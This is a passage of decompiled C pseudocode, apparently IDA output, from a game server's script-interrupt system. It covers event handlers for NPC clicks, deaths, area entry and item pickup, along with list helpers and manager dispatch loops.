FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; PineScriptToken::PineScriptToken(&thisa, arg->npcclick.index); memcpy(&interrupt->sib_Argument, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); *(_WORD *)&interrupt->gap144[216] = *(_WORD *)&arg[7].npcclick.index[18]; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); } //----- (004F1940) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); } //----- (004F19C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); } //----- (004F1A30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); } //----- (004F1AA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( interrupt->sib_Argument.area.player == -1 || Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)&arg->npcclick.index[2]) ) { interrupt->sib_Argument.area.player = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); } //----- (004F1B30) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg[1].npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); } //----- (004F1BA0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // dx@1 __int16 hnd; // [sp+4h] [bp-18h]@1 ShineObjectHandleUnion hndunion; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v7; // [sp+18h] [bp-4h]@1 _.fe_FunctionCode = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; MoveManager::MoveManager((DiceTaiSai *)&hndunion); v3 = *(_WORD *)&arg->npcclick.index[0]; LOBYTE(v7) = 1; hndunion.sohu_Handle = v3; if ( ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&hnd) == 2 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } LOBYTE(v7) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); } //----- (004F1C80) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); } //----- (004F1D10) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); } //----- (004F1DA0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004F1EC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { interrupt->sib_InterruptBlast = 1; *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); } //----- (004F1F40) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInterruptBase::_vftable_; } // 658524: using guessed type int (*ScriptInterrupt__ScriptInterruptBase___vftable_)(); //----- (004F1F50) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); return 1; } // 4F1F65: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F1F80) -------------------------------------------------------- int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; memcpy((void *)(this + 4), (const void *)(a2 + 4), 0x101u); *(_DWORD *)(this + 264) = *(_DWORD *)(a2 + 264); *(_DWORD *)(this + 268) = *(_DWORD *)(a2 + 268); *(_DWORD *)(this + 272) = *(_DWORD *)(a2 + 272); *(_DWORD *)(this + 276) = *(_DWORD *)(a2 + 276); *(_DWORD *)(this + 280) = *(_DWORD *)(a2 + 280); memcpy((void *)(this + 284), (const void *)(a2 + 284), 0x104u); return result; } //----- (004F2000) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); return 1; } // 4F2016: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F2030) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004F2080) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004F20D0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #593 *center, unsigned int kq) { ScriptInterrupt::ScriptInterruptManager *v6; // esi@1 unsigned __int16 v7; // bp@1 unsigned __int16 v8; // bx@2 ListStruct *v9; // edx@3 int v10; // eax@3 unsigned __int16 v11; // di@3 bool v12; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v13; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v14; // ecx@7 int v15; // edx@8 int v16; // eax@9 int lt; // [sp+14h] [bp-18h]@3 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = v6->baseclass_0.l_Array[v6->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v8 = v6->baseclass_0.l_MaxSize; if ( v7 >= v8 ) break; v9 = v6->baseclass_0.l_Array; v10 = v7; v11 = v7; v12 = v7 < v8; v7 = v9[v7].ls_Next; LOWORD(lt) = v11; HIWORD(lt) = v7; if ( v12 && v9[v10].ls_IsActiv ) v13 = v9[v10].ls_Content; else v13 = 0; v14 = v13->sib_Instance; if ( v11 < v8 && (v15 = (int)&v9[v10], *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( (unsigned __int8)((int (__stdcall *)(int, PineScriptToken *, PineScriptToken *, Movie::TimeLimit *, ScriptInterrupt::ScriptInterruptManager *, int, #593 *))v14->vfptr->sib_BlastCheck)( v16, eventblock, argument, timelimit, v6, lt, center) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 0; } //----- (004F2230) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 unsigned __int16 v3; // di@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 int v12; // eax@5 int lt; // [sp+14h] [bp-18h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = 3 * v6, v10 = v5[v6].ls_IsActiv, v11 = (int)&v5[4 * v9 / 0xCu], v10) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( *(_DWORD *)(v12 + 268) == *(_DWORD *)&intindex->n4_name[0] && *(_DWORD *)(v12 + 272) == *(_DWORD *)&intindex->n4_name[4] && *(_DWORD *)(v12 + 276) == *(_DWORD *)&intindex->n4_name[8] ) { if ( *(_DWORD *)(v12 + 280) == *(_DWORD *)&intindex->n4_name[12] ) v2->baseclass_0.vfptr->l_Free((List *)v2, lt); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); } //----- (004F2350) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_NPCClicked)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); } //----- (004F2460) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AdminInterrupt)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt"); } //----- (004F2570) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)( *(_DWORD *)v11, *(_DWORD *)&arg->npcclick.index[0]); else ((void (__stdcall *)(_DWORD, _DWORD))v10->vfptr->InterruptEvent)(0, *(_DWORD *)&arg->npcclick.index[0]); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent"); } //----- (004F2680) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_TargetChange)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_TargetChange"); } //----- (004F2790) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, 